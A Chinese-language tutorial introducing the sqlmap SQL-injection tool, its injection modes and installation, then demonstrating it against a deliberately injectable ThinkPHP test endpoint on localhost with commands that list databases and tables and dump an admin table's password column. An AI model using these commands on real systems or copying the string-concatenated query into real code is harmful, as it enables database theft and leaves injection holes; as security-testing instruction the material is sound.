一. sqlmap 介绍
sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
sqlmap支持五种不同的注入模式:
1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
4. 联合查询注入,可以使用union的情况下的注入;
5. 堆查询注入,可以同时执行多条语句的执行时的注入。
相关资源如下:
官方网站:http://sqlmap.org/
下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master
二. 安装 sqlmap
在 macOS 下安装 sqlmap:
# 下载 sqlmap
sudo git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
# 在 ~/bash_profile 中添加别名
alias sqlmap="python /Users/ice/_Software/sqlmap-dev/sqlmap.py"
三,基本用法
编写测试脚本,在 ThinkPHP 中写一个方法:
$res = Db::query("select * from tb_user where id > ".$_GET['id']);
$this->json($res, 200);
检查注入点:
sqlmap -u "http://127.0.0.1:8081/api/?id=6"
执行以后会提示有漏洞
爆所有数据库信息:
sqlmap -u "http://127.0.0.1:8081/api/?id=6" --dbs
爆当前数据库信息:
sqlmap -u "http://127.0.0.1:8081/api/?id=6" --current-db
指定库名列出所有表
sqlmap -u "http://127.0.0.1:8081/api/?id=6" -D test_db --tables
'test_db' 为指定数据库名称
指定库名表名列出所有字段
sqlmap -u "http://127.0.0.1:8081/api/?id=6" -D test_db -T admin --columns
'admin' 为指定表名称
指定库名表名字段dump出指定字段
sqlmap -u "http://127.0.0.1:8081/api/?id=6" -D test_db -T admin -C ac,id,password --dump
'ac,id,password' 为指定字段名称
sqlmap -u "http://127.0.0.1:8081/api/?id=6" –dbms mysql –level 3 –dbs
sqlmap -u "http://127.0.0.1:8081/api/?id=6" –dbms mysql –level 3 -D cn_net_javascript –tables
参考:
https://www.jianshu.com/p/65d7522ecc1f
https://www.freebuf.com/sectool/164608.html
https://blog.csdn.net/qq_33530840/article/details/82144515
修改时间 2024-03-05